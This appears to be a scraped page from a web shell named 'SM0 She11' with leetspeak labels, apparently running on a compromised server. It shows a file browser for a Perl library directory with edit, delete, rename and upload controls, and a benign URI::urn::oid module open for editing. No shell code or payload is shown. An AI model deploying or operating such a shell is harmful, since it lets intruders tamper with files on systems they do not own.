SM0 She11
Path:
/
/
usr
/
share
/
perl5
/
URI
/
urn
Full Path (server): /usr/share/perl5/URI/urn
Create Fil3
Upl04d Fil3
📄 isbn.pm
[E]
[D]
[R]
📄 oid.pm
[E]
[D]
[R]
Editing: oid.pm
package URI::urn::oid; # RFC 2061 require URI::urn; @ISA=qw(URI::urn); use strict; sub oid { my $self = shift; my $old = $self->nss; if (@_) { $self->nss(join(".", @_)); } return split(/\./, $old) if wantarray; return $old; } 1;
Save